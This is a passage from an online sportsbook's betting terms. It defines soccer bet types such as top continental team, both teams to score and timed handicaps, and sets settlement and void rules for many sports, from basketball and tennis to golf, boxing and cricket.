Fantasy Match: Man City vs. Chelsea

Man City scored the first goal at 25:10

Chelsea’s match is postponed or abandoned before 25:10

Result: All bets will be void.

2.2.63.4. If both matches are cancelled without a goal being scored, all bets will be void.

2.2.63.5. Any goal scored during extra time will not count.

2.2.64. Top European Team

2.2.64.1. Top European Team involves betting on which European team will advance the farthest in the FIFA World Cup tournament.

2.2.64.2. If two European teams compete in the finals or the third-place match, the winner of the match will be considered the Top European Team.

2.2.64.3. If more than one European team exits the tournament in the same farthest round, “Dead Heat” rules apply. The payout odds (minus the stake) are divided by the number of winners, and the settlement is made accordingly with the stake returned.

2.2.64.4. All bets for the Top European Team will be settled when the official winner of the finals or third-place match is declared by FIFA or when the last European team exits the tournament.

2.2.65. Top South American Team

2.2.65.1. Top South American Team involves betting on which South American team will advance the farthest in the FIFA World Cup tournament.

2.2.65.2. If two South American teams compete in the finals or the third-place match, the winner of the match will be considered the Top South American Team.

2.2.65.3. If more than one South American team exits the tournament in the same farthest round, “Dead Heat” rules apply. The payout odds (minus the stake) are divided by the number of winners, and the settlement is made accordingly with the stake returned.

2.2.65.4. All bets for the Top South American Team will be settled when the official winner of the finals or third-place match is declared by FIFA or when the last South American team exits the tournament.

2.2.66. Top African Team

2.2.66.1. Top African Team involves betting on which African team will advance the farthest in the FIFA World Cup tournament.

2.2.66.2. If two African teams compete in the finals or the third-place match, the winner of the match will be considered the Top African Team.

2.2.66.3. If more than one African team exits the tournament in the same farthest round, “Dead Heat” rules apply. The payout odds (minus the stake) are divided by the number of winners, and the settlement is made accordingly with the stake returned.

2.2.66.4. All bets for the Top African Team will be settled when the official winner of the finals or third-place match is declared by FIFA or when the last African team exits the tournament.

2.2.67. Both Teams to Score

2.2.67.1. Both Teams to Score means betting to predict whether a match will result in both teams scoring.

2.2.67.2. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.68. Both Teams to Score in First Half

2.2.68.1. Both Teams to Score in the First Half means betting to predict whether both teams will score in the first half of a match.

2.2.68.2. If a match is abandoned after both teams have scored in the first half, then ‘Yes’ bets will be settled as winners and ‘No’ bets as losers. If the match is postponed or abandoned before the end of the First Half without both teams scoring, all bets will be void.

2.2.69. Both Teams to Score in Second Half

2.2.69.1. Both Teams to Score in the Second Half means betting to predict whether both teams will score in the second half of a match.

2.2.69.2. If a match is abandoned after both teams have scored in the second half, then ‘Yes’ bets will be settled as winners and ‘No’ bets as losers. If the match is postponed or abandoned without both teams scoring, all bets will be void.

2.2.70. Both Teams to Score in 1st and/or 2nd Half

2.2.70.1. Both Teams to Score in the 1st and/or 2nd Half means betting to predict if both teams will score in the first half and if both teams will score in the second half of the match.

2.2.70.2. Bets will be void if the match is abandoned unless both teams have already scored in the first half and second half of a match.

2.2.71. Both Teams to Score/Total Goals

2.2.71.1. Both Teams to Score/Total Goals means betting to predict the total number of goals in the match and if both teams will score in the match.

2.2.71.2. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.72. Half Time Result/Total Goals

2.2.72.1. Half Time Result/Total Goals means betting to predict both the result of the first half of the match and the total number of first-half goals.

2.2.72.2. Bets will be void if the match is abandoned during the first half of the match. Bets will remain valid if the match is abandoned during the second half of the match.

2.2.73. Home First Half to Score/Second Half to Score

2.2.73.1. Home First Half to Score/Second Half to Score means betting to predict whether the Home Team will score in the first half and second half of the match.

2.2.73.2. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.74. Away First Half to Score/Second Half to Score

2.2.74.1. Away First Half to Score/Second Half to Score means betting to predict whether the Away Team will score in the first half and second half of the match.

2.2.74.2. Bets will be void if the match is abandoned unless the settlement of bets is already determined.

2.2.75. Specific 15 Minutes 1X2

2.2.75.1. Specific 15 Minutes 1X2 refers to betting on one of three possible winning outcomes at the end of every 15-minute interval of a match. “1” represents the team named first (usually the home team), “X” denotes a draw or tie, and “2” represents the team named second (usually the away team).

2.2.75.2. Examples:

  • 15th Minute 1X2: Predict the winning outcome (1X2) from 00:00 to 15:00. All bets must be placed on or before the end of the 15th minute.
  • 30th Minute 1X2: Predict the winning outcome (1X2) from 15:01 to 30:00. All bets must be placed on or before the end of the 30th minute.
  • 45th Minute 1X2: Predict the winning outcome (1X2) from 30:01 to 45:00. All bets must be placed on or before the end of the 45th minute.
  • 60th Minute 1X2: Predict the winning outcome (1X2) from 45:01 to 60:00. All bets must be placed on or before the end of the 60th minute.
  • 75th Minute 1X2: Predict the winning outcome (1X2) from 60:01 to 75:00. All bets must be placed on or before the end of the 75th minute.
  • 90th Minute 1X2: Predict the winning outcome (1X2) from 75:01 to 90:00. All bets must be placed on or before the end of the 90th minute.

2.2.75.3. For Specific 15 Minutes 1X2, bets are settled based on the exact time a goal is scored (ball crossing the goal line), the number of corners taken, and the total bookings (cards given by the referee) as shown by the clock in the live broadcast.

2.2.75.4. If a match is suspended or abandoned, bets placed on unfinished Specific 15 Minutes 1X2 will be void. However, if the designated Specific 15 Minutes 1X2 are completed, bets will be valid.

2.2.75.5. During the last two minutes of any Specific 15 Minutes 1X2 live betting, only specific actions such as a goal, a penalty, or a red card will be considered as Safe Play. All pending bets placed during this period may be accepted.

2.2.75.6. For 30:01-45:00 and 75:01-90:00, bets are settled based on the exact time a goal is scored (ball crossing the goal line), the number of corners taken, and the total bookings (cards given by the referee) as shown by the clock in the live broadcast, excluding any additional time or injury time.

2.2.76. Which Team Will Advance to Next Round

2.2.76.1. Which Team Will Advance to Next Round means betting on predicting which team will progress to the next round of the tournament.

2.2.77. Specific 10-Minute Handicap (HDP)

2.2.77.1. Specific 10-Minute Handicap means betting when one competitor or team receives a virtual head start. The winner is determined by comparing the scores at the end of every 10-minute interval (period) of a match, after adding the given handicap to the result.

2.2.77.2. Examples:

  • 10th Minute HDP: From 00:00 to 10:00, the winner is the competitor or team with the better score. All bets must be placed on or before the end of the 10th minute.
  • 20th Minute HDP: From 10:01 to 20:00, the winner is the competitor or team with the better score. All bets must be placed on or before the end of the 20th minute.
  • 30th Minute HDP: From 20:01 to 30:00, the winner is the competitor or team with the better score. All bets must be placed on or before the end of the 30th minute.
  • 40th Minute HDP: From 30:01 to 40:00, the winner is the competitor or team with the better score. All bets must be placed on or before the end of the 40th minute.
  • 60th Minute HDP: From 50:01 to 60:00, the winner is the competitor or team with the better score. All bets must be placed on or before the end of the 60th minute.
  • 70th Minute HDP: From 60:01 to 70:00, the winner is the competitor or team with the better score. All bets must be placed on or before the end of the 70th minute.
  • 80th Minute HDP: From 70:01 to 80:00, the winner is the competitor or team with the better score. All bets must be placed on or before the end of the 80th minute.
  • 90th Minute HDP: From 80:01 to 90:00, the winner is the competitor or team with the better score. All bets must be placed on or before the end of the 90th minute.

2.2.77.3. Specific 10-Minute HDP bets are settled based on the exact time a goal is scored (ball crossing the goal line), the number of corners taken, and the total bookings (cards given by the referee) as shown by the clock in the live broadcast.

2.2.77.4. If a match is suspended or abandoned, bets placed on unfinished Specific 10-Minute HDP will be considered void. However, if the designated Specific 10-Minute HDP period is completed, bets will be valid.

2.2.77.5. During the last two minutes of any Specific 10-Minute HDP live betting, only specific actions such as a goal, a penalty, or a red card will be considered as Safe Play. All pending bets placed during this period may be accepted.

2.2.77.6. For 80:01-90:00, bets are settled based on the exact time a goal is scored (ball crossing the goal line), the number of corners taken, and the total bookings (cards given by the referee) as shown by the clock in the live broadcast, excluding any additional time or injury time. 2.2.78. First Penalty to Score or Not to Score

2.2.78.1. First Penalty to Score or Not to Score refers to betting on whether the first team’s penalty will be scored or missed.

2.2.79. Top Jersey Sponsor

2.2.79.1. Top Jersey Sponsor means betting on which jersey sponsor will have its sponsored team win the title.

2.2.80. Continent of Head Coach Winner

2.2.80.1. Continent of Head Coach Winner means betting on the continent of origin of the head coach of the team that will win the title.

2.2.81. Winning Margin

2.2.81.1. Winning Margin means betting on predicting the winner of the match and the margin of goals to be scored between the home and away team.

2.2.81.2. The available options for this bet type are:

  1. Home win by 1 goal
  2. Home win by 2 goals
  3. Home win by 3 or more goals
  4. Any goal score draw
  5. Away win by 1 goal
  6. Away win by 2 goals
  7. Away win by 3 or more goals

2.2.81.3. Extra time will not be included in determining the winning margin for this bet type.

2.2.82. Next Goal

2.2.82.1. Next Goal means betting on predicting the team that will score the next goal in a match.

2.2.83. Penalty Awarded

2.2.83.1. Penalty Awarded means betting on whether a penalty will be awarded in a match.

2.2.83.2. The available options are:

  1. Yes
  2. No

2.2.84. Highest Scoring Half

2.2.84.1. Highest Scoring Half means betting on which half of the match will have a greater number of total goals.

2.2.84.2. The available options are:

  1. 1st Half
  2. 2nd Half
  3. Tie

2.2.84.3. Bets will be void if the match is abandoned unless settlement of bets is already determined.

2.2.84.4. Home Team Highest Scoring Half

2.2.84.4.1. Home Team Highest Scoring Half means betting on which half of the match will have a greater number of home team goals.

2.2.84.4.2. Bets will be void if the match is abandoned unless settlement of bets is already determined.

2.2.84.5. Away Team Highest Scoring Half

2.2.84.5.1. Away Team Highest Scoring Half means betting on which half of the match will have a greater number of away team goals.

2.2.84.5.2. Bets will be void if the match is abandoned unless settlement of bets is already determined.

2.2.85. Half Time/Full Time Correct Score

2.2.85.1. Half Time/Full Time Correct Score means betting on predicting both the correct score at half time and the correct final score at the end of the match.

2.2.85.2. For this bet type, “4+” refers to the betting option where the total goals scored after full time must be at least four (4) to win the bet.

2.2.85.3. Bets will be void if the match is abandoned unless settlement of bets is already determined.

3. Specific Event Betting Rules

3.1. Soccer Rules

3.1.1. All bets on soccer matches scheduled for play other than regular time will be settled at the end of the scheduled time.

3.1.1.1. If less than regular time is played, bets may be suspended until the official result is determined.

3.1.1.2. Unless non-regular time matches are indicated on the website, bets on such matches will be void.

3.1.2. If a soccer match is postponed, abandoned, or suspended for more than 12 hours, the match is void regardless of any official decision.

3.1.3. First Half Betting (1H) applies only to the first half of the match. If a match is abandoned during the first half, all bets are void. If it’s abandoned during the second half, first-half bets remain valid.

3.1.4. The Company provides information as a service and accepts no liability. It’s the customer’s responsibility to have correct information for any match.

3.1.5. Unless stated otherwise, matches played on non-neutral ground or with a change of venue will still be considered valid. Bets will be void if the home and away team names are reversed.

3.1.6. The score displayed at the time of bet placement is used for soccer live betting. Timer and red card notices are for reference only.

3.1.7. The Company may suspend acceptance of bets during a game if certain actions are deemed dangerous. Other actions are considered safe, and bets will continue to be accepted.

3.1.8. Live betting is allowed until the 90th minute (plus injury time) for most games. Specific actions like penalties and dangerous free-kicks may also be considered safe for bet acceptance.

3.1.9. Referee’s end of the match in half time or full time automatically rejects all pending live bets.

3.1.10. Except for the last 2 minutes of specific betting types, pending bets are rejected when a goal is scored. If a penalty is missed, pending bets may be accepted under safe conditions.

3.1.11. For live fantasy match betting, bets are allowed until the 90th minute (plus injury time) for most games. Certain actions are considered safe for bet acceptance.

3.2. Basketball

3.2.1. Full-Time markets, including Live betting, are settled on the final result, including overtime.

3.2.2. If a match doesn’t start on the scheduled date, all bets are void unless stated otherwise.

3.2.3. If a match starts but is suspended or abandoned within twelve hours of the scheduled start time, Full-Time bets are valid if a certain portion of the match has been completed. Bets on suspended or abandoned matches are void unless an official result is declared.

3.2.4. First-Half results include the sum of the First and Second Quarters. Second-Half results include the sum of the Third and Fourth Quarters, including any Overtime.

3.2.5. Fourth Quarter results exclude any Overtime played.

3.2.6. If a match is suspended or abandoned, bets on unfinished Halves or Quarters are void. If the designated Halves or Quarters are completed, bets are valid.

3.2.7. The score is not updated for basketball live betting. The handicap shown during live trading refers to the score at the start of the match. Time and scores displayed are for reference only.

3.2.8. “Which Team to Score the First Basket” markets are settled on the team scoring the first points. If a match is suspended or abandoned after the first points, bets are still valid.

3.2.9. “Which Team to Score the Last Basket” markets are settled on the team scoring the last points of a match or specified Half/Quarter (excluding overtime). Bets are void if the match is suspended or abandoned, unless the market outcome is determined.

3.2.10. Special markets are valid if both players participate. If one or both players do not take part, bets are void. Results include Overtime, unless stated otherwise. Changes to statistics after the official result are not valid for betting purposes.

3.2.11. Home/Away venue for NCAA matches is provided as a reference only.

3.2.12. Fantasy Basketball markets involve teams from different matches. Both teams’ matches must start on the same day, or bets are void. The venues are for reference purposes only.

3.2.13. “To win most Quarters” markets are settled on the team that wins the most quarters during a basketball match, excluding overtime. Ties result in neither team winning that quarter. Bets are void if a match is suspended or abandoned.

3.3. American Football

3.3.1. All Full-Time markets, including Live betting, will be settled on the final result including overtime (unless otherwise stated in these rules).

3.3.2. If a match does not start on the scheduled start date, then all bets will be void (unless stated otherwise).

3.3.3. If a match starts but is suspended or abandoned within twelve hours of the scheduled start time, then Full-Time bets are still considered valid if at least fifty-five (55) minutes of the match has been completed. Bets will also be considered valid if an official result is declared by the relevant governing body. Otherwise, bets on suspended or abandoned matches will be void, except for those on markets that have been unconditionally determined.

3.3.4. First-Half results are the sum of the First and Second Quarters. Second-Half results are the sum of the Third and Fourth Quarters, including any Overtime that may be played.

3.3.5. Fourth Quarter results do not include any Overtime that may be played.

3.3.6. If a match is suspended or abandoned, then bets placed on unfinished Halves or Quarters will be considered void. If the designated Halves or Quarters are completed, then bets will be valid.

3.3.7. The score will be updated for American Football live betting, and markets shown during live trading refer to the score displayed at the time the bet is placed.

3.3.8. “Which Team to Score the First Points” markets are settled on the team scoring the first points. If a match is suspended or abandoned after the first points have been scored, then bets are still valid.

3.3.9. “Which Team to Score the Last Points” markets are settled on the team scoring the last points of a match (including overtime). If a match is suspended or abandoned, then all bets will be void.

3.3.10. The Home/Away venue for NCAA matches is provided as a reference only.

3.3.11. For live betting, during a game, with respect to actions which the Company in its sole and absolute discretion deems as dangerous where the score, outcome, performance of one team or player may be affected, or warrant changing the odds/prices or Markets or Betting Information (“Danger Play”), the Company reserves the right to suspend acceptance of bets and may accept or reject bets after the Danger Play. All other actions in a game are deemed Safe Play, and bets will continue to be considered for acceptance.

3.4. Baseball

3.4.1. Pitcher names are strictly for reference purposes only. All baseball bets will still be considered valid regardless of the starting pitchers.

3.4.2. All Full-Time markets, including Live betting, will be settled on the final result including extra innings (unless otherwise stated in these rules). In Japanese baseball, a tie can be declared, and in this case, moneyline bets will be refunded.

3.4.3. If a game does not start on the scheduled start date, then all bets will be void (unless stated otherwise).

3.4.4. For baseball bets to be considered valid, the game must go 9 (nine) innings (or 8.5 innings if the home team is leading). If a game is suspended and completed on a subsequent day, then all bets (except those that have been unconditionally determined) will be considered void.

3.4.5. If a game is suspended or called in extra innings, then the score will be determined after the last full inning, unless the home team scores to tie or lead in the bottom half of the inning, in which case the score is determined at the time the game is called.

3.4.6. First 5 Innings bets are settled on the result at the end of five innings. If five innings are not completed, for whatever reason, then all bets will be considered void.

3.4.7. The score will be updated for Baseball live betting, and markets shown during live trading refer to the score displayed at the time the bet is placed.

3.4.8. World Baseball Classic games can end early if a team is leading by ten or more runs after the opposing team has batted in at least seven innings or if a team is leading by more than fifteen runs after the opposing team has batted in at least five innings. Should this happen, then all bets will be considered valid.

3.4.9. International Baseball games (e.g., Olympic matches) may be called early, and for bets to be valid, 6.5 innings must have been completed.

3.4.10. For live betting, during a game, with respect to actions which the Company in its sole and absolute discretion deems as dangerous where the score, outcome, performance of one team or player may be affected, or warrant changing the odds/prices or Markets or Betting Information (“Danger Play”), the Company reserves the right to suspend acceptance of bets and may accept or reject bets after the Danger Play. All other actions in a game are deemed Safe Play, and bets will continue to be considered for acceptance.

3.5. Ice Hockey

3.5.1. Full-Time markets may be offered as either “Regular Time Only” or “Including Overtime and Penalty Shootouts” or both. Clients should always refer to the market title. For matches that are decided by a penalty shoot-out, then the winning team will have one goal added to their score to determine the final result.

3.5.2. If a match does not start on the scheduled start date, then all bets will be void (unless stated otherwise).

3.5.3. If a match starts but is suspended or abandoned within twelve hours of the scheduled start time, then Full-Time bets are still considered valid if at least fifty-five (55) minutes of the match has been completed. Bets will also be considered valid if an official result is declared by the relevant governing body. Otherwise, bets on suspended or abandoned matches will be void, except for those on markets that have been unconditionally determined.

3.5.4. For Period betting, a period must be completed for bets to be considered valid.

3.5.5. Third-period results do not include any overtime or shoot-outs that may be played.

3.5.6. Ice Hockey Live Betting is settled on the result at the end of normal time (three periods). Overtime and shoot-out results do not count.

3.5.7. The score will be updated for Ice Hockey live betting, and markets shown during live trading refer to the score displayed at the time the bet is placed.

3.5.8. For live betting, during a game, with respect to actions which the Company in its sole and absolute discretion deems as dangerous where the score, outcome, performance of one team or player may be affected, or warrant changing the odds/prices or Markets or Betting Information (“Danger Play”), the Company reserves the right to suspend acceptance of bets and may accept or reject bets after the Danger Play. All other actions in a game are deemed Safe Play, and bets will continue to be considered for acceptance.

3.6. Tennis

3.6.1. Moneyline markets refer to the winner of the match or specified set. Handicap markets are based either on sets or games (please refer to the market title); Over/Under and Odd/Even markets based on games (unless otherwise stated).

3.6.2. If a player does not start a tournament or match, then all bets on that player will be void.

3.6.3. If a player (or pairing) retires or is disqualified during a match, then all bets will be void, except for those on markets that have been unconditionally determined.

3.6.4. If a match is postponed or suspended, then all bets are still considered valid if the match is completed.

3.6.5. All bets will still be considered valid regardless of any change of venue or court surface (including moving matches from outdoor to indoor courts or vice versa).

3.6.6. If the scheduled number of sets required to win a match is changed from that originally scheduled, then all bets will be void, except for those that have been unconditionally determined.

3.6.7. First Set Winner (Second, Third Set Winner, etc.) refers to the result of the specified set. All bets will be considered void if the specified set is not completed.

3.6.8. Tennis Live Betting is settled on the result of the match (or specified set). The score will not be updated for tennis live betting.

3.6.9. Most Aces (double Faults, etc.) markets are settled according to the official match statistics. If a player should retire or is disqualified before the match is completed, then all bets will be void.

3.6.10. First Ace (Double Fault, etc.) markets are settled according to the official match statistics. If the first ace (double fault, etc.) market has been decided, then all bets will still be considered valid even if the match is not completed due to retirement or disqualification. If there is no ace (double fault, etc.) at the time of the retirement/disqualification, then all bets will be considered void.

3.6.11. Game Winner markets refer to the winner of a specific game, e.g., Set 1 Game 1; Set 1 Game 2, etc. Should a set go to a tie-break, then the market will be designated as Set 1 TB; Set 2 TB, etc. Should there be a retirement/disqualification during an incomplete game, then all bets will be considered void. If a game is completed by the umpire awarding a “penalty game,” then all bets on that game will be considered void (though if the game is completed by a “penalty point,” then all bets are still valid). If a game is suspended, then all bets are still considered valid if the game is completed.

3.6.12. Match Correct Score markets refer to the exact number of sets won by each player in a match. If a match is not completed, then all bets will be void. If the scheduled number of sets required to win a match is changed, then all bets will be void.

3.6.13. Set X Correct Score markets refer to the exact number of games won by each player in a specific set. If a set is not completed, then all bets will be void. If the scheduled number of games required to win a set is changed, then all bets will be void.

3.7. Badminton

3.7.1. Moneyline markets refer to the winner of the match or specified set. Handicap markets are based on either sets or points (please refer to the market title); Over/Under and Odd/Even markets are based on points (unless otherwise stated).

3.7.2. If a player does not start a tournament or match, then all bets on that player will be void.

3.7.3. If a player (or pairing) retires or is disqualified during a match, then all bets will be void, except for those on markets that have been unconditionally determined.

3.7.4. If a match is postponed or suspended, then all bets are still considered valid if the match resumes before the twelve-hour expiration.

3.7.5. First Set Winner (Second, Third Set Winner, etc.) refers to the result of the specified set. All bets will be considered void if the specified set is not completed.

3.7.6. Badminton Live Betting is settled on the result of the match (or specified set). The score will not be updated for badminton live betting.

3.8. Table Tennis

3.8.1. Moneyline markets refer to the winner of the match or specified set. Handicap markets are based on either sets or points (please refer to the market title); Over/Under and Odd/Even markets are based on points (unless otherwise stated).

3.8.2. If a player does not start a tournament or match, then all bets on that player will be void.

3.8.3. If a player (or pairing) retires or is disqualified during a match, then all bets will be void, except for those on markets that have been unconditionally determined.

3.8.4. If a match is postponed or suspended, then all bets are still considered valid if the match resumes before the twelve-hour expiration.

3.8.5. First Set Winner (Second, Third Set Winner, etc.) refers to the result of the specified set. All bets will be considered void if the specified set is not completed.

3.8.6. Table Tennis Live Betting is settled on the result of the match (or specified set). The score will not be updated for table tennis live betting.

3.9. Volleyball & Beach Volleyball

3.9.1. Moneyline markets refer to the winner of the match or specified set. Handicap markets are based on either sets or points (please refer to the market title); Over/Under and Odd/Even markets are based on points (unless otherwise stated).

3.9.2. If a team does not start a tournament or match, then all bets on that team will be void.

3.9.3. If a team retires or is disqualified during a match, then all bets will be void, except for those on markets that have been unconditionally determined.

3.9.4. If a match is postponed or suspended, then all bets are still considered valid if the match resumes before the twelve-hour expiration.

3.9.5. First Set Winner (Second, Third Set Winner, etc.) refers to the result of the specified set. All bets will be considered void if the specified set is not completed.

3.9.6. Volleyball Live Betting is settled on the result of the match (or specified set). The score will not be updated for volleyball live betting.

3.10. Field Hockey

3.10.1. All Full-Time markets, including Live betting, will be settled on the final result at the end of normal time. Extra-time, golden goal, and penalty shoot-outs do not count for full-time markets. (Specific markets for extra-time (ET) and penalty shootouts (PEN) may be offered for betting.)

3.10.2. If a match is postponed, suspended, or abandoned and not resumed within twelve hours of the scheduled start time, then all bets are considered void, except for those on markets that have been unconditionally determined. Bets will also be considered valid if an official result is declared by the relevant governing body.

3.10.3. First Half markets refer to the result of the first half. All bets will be considered void if the specified half is not completed.

3.10.4. Field Hockey Live Betting is settled on the result of the match at the end of normal time.

3.10.5. The score will be updated for Field Hockey live betting, and markets shown during live trading refer to the score displayed at the time the bet is placed.

3.10.6. For live betting, during a game, with respect to actions which the Company in its sole and absolute discretion deems as dangerous where the score, outcome, performance of one team or player may be affected, or warrant changing the odds/prices or Markets or Betting Information (“Danger Play”), the Company reserves the right to suspend acceptance of bets and may accept or reject bets after the Danger Play. All other actions in a game are deemed Safe Play, and bets will continue to be considered for acceptance.

3.11. Snooker & Pool

3.11.1. Moneyline and handicap markets refer to the winner of the match. Over/Under and Odd/Even markets are based on the number of frames/racks (unless otherwise stated).

3.11.2. If a player does not start a tournament or match, then all bets on that player will be void.

3.11.3. If a match starts but is not completed, then all bets are considered void, except for those on markets that have been unconditionally determined.

3.11.4. Snooker & Pool Live Betting is settled on the result of the match (or specified frame/rack). The score will not be updated for snooker and pool live betting.

3.11.5. For individual frame markets, Over/Under and Odd/Even markets refer to the total number of points scored in that frame.

3.11.6. “Which player will pot the first red?” markets refer to the player potting the first legal red ball in a match or specified frame, i.e., potting a red while not committing a foul. (Should a frame be re-racked, then all bets will still be valid on the original rack.)

3.11.7. “Which player race to 30 points?” markets refer to which player will be the first to score thirty points in a specified frame. (Should a frame be re-racked, then all bets will still be valid on the original rack.)

3.11.8. Highest break markets refer to the number of points scored in a “break” by a player or players in a specified frame, match, or tournament.

3.11.9. Total number of century markets refer to the number of “breaks” of 100 points or more scored in a specific match or tournament.

3.12. Golf

3.12.1. All golf bets are settled according to the official tournament results.

3.12.2. If a player does not start a tournament or specific round, then all bets on that player will be void. If a golfer retires or is disqualified during a tournament or specified round, then all bets on that golfer will be lost.

3.12.3. If a tournament or specified round is delayed or suspended, then all bets will remain valid for forty-eight hours after the scheduled finish time.

3.12.4. Outright (Tournament Winner)

3.12.4.1. “Any Other Player” or “The Field” refers to all golfers not named in the outright market.

3.12.4.2. Outright markets are settled on the tournament winner, and the result of any play-off is taken into account.

3.12.4.3. If a tournament is shortened by the officials (i.e., the scheduled number of holes is not completed), then all bets are still valid if an official winner is declared. However, if there is no further play after a bet has been placed, then that bet will be void. If no official winner is declared, then all bets will be considered void.

3.12.5. Tournament matchups

3.12.5.1. Tournament matchups refer to the golfer with the lowest score during a tournament (usually 72 holes). If the number of holes played is reduced from that scheduled, then bets are still valid if an official tournament result is declared.

3.12.5.2. Both golfers must tee off for bets to be valid. The golfer who completes the most holes (excluding play-offs) will be the winner. If the golfers complete the same number of holes (again excluding play-offs), then the player with the lowest score is the winner.

3.12.5.3. If a golfer withdraws or is disqualified after teeing off, then the other player is deemed the winner. However, if a player withdraws or is disqualified after the other player has already missed the cut, then the golfer playing the most holes is still declared the winner.

3.12.5.4. If both golfers withdraw or are disqualified during the same round, then all bets will be void, irrespective of how many holes each player has completed.

3.12.6. Round matchups

3.12.6.1. Round matchups refer to the golfer with the lowest score over a specified 18 holes. Play-offs are not included.

3.12.6.2. Both golfers must tee off for bets to be valid. If a golfer withdraws or is disqualified after teeing off, then the other player is deemed the winner. However, if a disqualified player has already started the next round, then the original scores are still valid.

3.12.7. Round Over/Under

3.12.7.1. Round Over/Under markets refer to a golfer (or golfers) score over a specified 18 holes. Play-offs are not included.

3.12.7.2. A golfer must tee off for bets to be valid. If a golfer fails to complete the specified 18 holes, then all bets are considered void.

3.12.8. Individual Hole Over/Under

3.12.8.1. Individual hole Over/Under markets refer to a golfer (or golfers) score over a specific individual hole of a specified round.

3.12.8.2. If the hole is not completed by the golfer (or golfers), then all bets will be void.

3.13. Motor Sports

3.13.1. Motor Sports include, without limitation, Formula One, Moto GP, and A1GP.

3.13.2. Podium positions will count as the official result, regardless of any subsequent disqualification or amendment to the race result. If there is no podium ceremony, then the result is that declared by the relevant governing body immediately after the end of the race. Qualifying markets are based on the final qualifying positions declared by the governing body immediately after the end of qualifying.

3.13.3. If the scheduled venue is changed, then all bets will be considered void.

3.13.4. If a race is postponed, then all bets are still considered valid if the race is started before the forty-eight-hour expiration; otherwise, all bets will be considered void. If a race starts but is not completed, then all bets will remain valid if an official result is declared. If no official result is declared, then all bets will be void.

3.13.5. A motor race is deemed to have started when the signal is given to start the warm-up lap. If a competitor is not ready to start from the grid (or pit lane), then bets on that racer will be void. If a competitor fails to start the official qualifying session, then pole position bets on that racer will be considered void.

3.13.6. In Head to Head markets, both racers must start the race (or official qualifying session) for bets to be valid. The racer with the better finishing position will be declared the winner. If both racers fail to finish, then the competitor completing the most laps is deemed the winner. If the same number of laps is recorded for both racers, then all bets will be void unless official finishing positions are declared.

3.13.7. Fastest Lap markets are decided on the racer or team with the fastest lap time during the race.

3.13.8. Number of Classified Finishers markets are decided on the official result declared by the governing body.

3.13.9. Motor Sports Live Betting is settled on the result of the official result of the specified race.

3.13.10. Odd/Even markets are based on the final finishing positions as declared by the governing body. For example, if Driver A finishes in 1st Position, then the result is odd; if Driver B finishes in 2nd Position, then the result is even, etc. If a driver is not given an official classification, then bets will be considered void and will be refunded.

3.13.11. Winning Margin markets are based on the time difference (in seconds) between the selected drivers as declared by the governing body. Over means that the time difference will be greater than the handicap, while Under means that the time difference will be less than the handicap offered. Should the time difference be exactly the same as the handicap, then bets will be considered void and will be refunded.

3.14. Handball

3.14.1. All Full-Time markets, including Live betting, will be settled on the final result at the end of normal time. Extra-time and penalty shoot-outs do not count for full-time markets.

3.14.2. If a match is postponed, suspended, or abandoned and not resumed within twelve hours of the scheduled start time, then all bets are considered void, except for those on markets which have been unconditionally determined. Bets will also be considered valid if an official result is declared by the relevant governing body.

3.14.3. Handball Live Betting is settled on the result of the match at the end of normal time. 3.14.4. The score will not be updated for handball live betting.

3.15. Water Polo

3.15.1. All Full-Time markets, including Live betting, will be settled on the final result at the end of normal time (four quarters). Extra-time and shoot-outs do not count for full-time markets.

3.15.2. If a match is postponed, suspended, or abandoned and not resumed within twelve hours of the scheduled start time, then all bets are considered void, except for those on markets which have been unconditionally determined. Bets will also be considered valid if an official result is declared by the relevant governing body.

3.15.3. First Half markets refer to the result of the first and second quarters. All bets will be considered void if the specified half is not completed.

3.15.4. Water Polo Live Betting is settled on the result of the match at the end of normal time.

3.15.5. The score will not be updated for water-polo live betting.

3.16. Boxing

3.16.1. Bets on postponed fights will still be considered valid if the fight takes place within fourteen days of the original start date.

3.16.2. For moneyline markets (where no draw option is offered for betting), all bets will be void if the fight result is a draw. If odds for a draw are offered as a third betting option, and the fight ends in a draw, then betting on the draw option will be paid as the winner, and bets on the two boxers will be lost.

3.16.3. A fight is deemed to have started when the bell is sounded for the beginning of the first round. If one or both boxers should fail to start the fight, then all bets will be void. If a boxer fails to answer the bell for the start of a round or is disqualified between rounds, the opponent is deemed to have won in the previous round.

3.16.4. All bets will be settled on the official decision given in the ring immediately after the fight. Subsequent changes to the result are not recognized for betting purposes.

3.16.5. A knock-out (KO) win also includes a technical knock-out (TKO) or win by disqualification (DSQ). A points decision includes a technical decision (TD), and a draw includes a technical draw.

3.16.6. Over/Under betting refers to the number of rounds that take place during the fight, e.g., Under 9.5 means that the fight ends before one minute and thirty seconds of Round 9, while Over 9.5 means that the fight ends after one minute and thirty seconds of Round 9 (including a points decision).

3.16.7. UFC

3.16.7.1. UFC rules also apply to fights promoted by other mixed martial arts (MMA) organizations.

3.16.7.2. Bets on postponed fights will still be considered valid if the fight takes place within fourteen days of the original start date.

3.16.7.3. If a fight ends in a draw, then all bets will be void.

3.17. Darts

3.17.1. Moneyline and markets refer to the winner of the match. Handicap and Over/Under markets are based on the number of sets (unless otherwise stated).

3.17.2. If a match is postponed and not started within twelve hours of the scheduled start time, then all bets are considered void.

3.17.3. If a player does not start a tournament or match, then all bets on that player will be void.

3.17.4. If a match starts but is not completed, then all bets will be considered void.

3.17.5. Darts Live Betting is settled based on the match result, and the score will not be updated for darts live betting.

3.17.6. “180s” markets refer to the number of maximum “180s” thrown in a match.

3.18. Cricket

3.18.1. For Limited Over matches (including ODI and Twenty20), all bets will be settled based on the official result according to the competition rules. However, if the result is determined by super-overs, a bowl-out, toss of a coin, etc., all match bets will be void.

3.18.2. If “No Result” is declared as the official result, or if the competition rules do not declare a winner, then all bets will be void.

3.18.3. If a match is postponed or suspended and resumed within 48 hours, all bets will be considered valid.

3.18.4. Test Match markets will be offered in a 1X2 format. 1 refers to the team named first (usually the home team), X refers to a draw, and 2 refers to the team named second (usually the away team). If a Test Match ends in a “Tie” (different from a “Draw”), all match bets will be void. If a match is abandoned due to outside interference, all bets may be declared void.

3.18.5. Most Runs markets refer to the player scoring the most runs in a match or specific innings. Both players must be at the batting crease for at least one ball for bets to be valid. If “No Result” is declared as the official match result, all bets on this market will be void, except for markets that have been unconditionally determined.

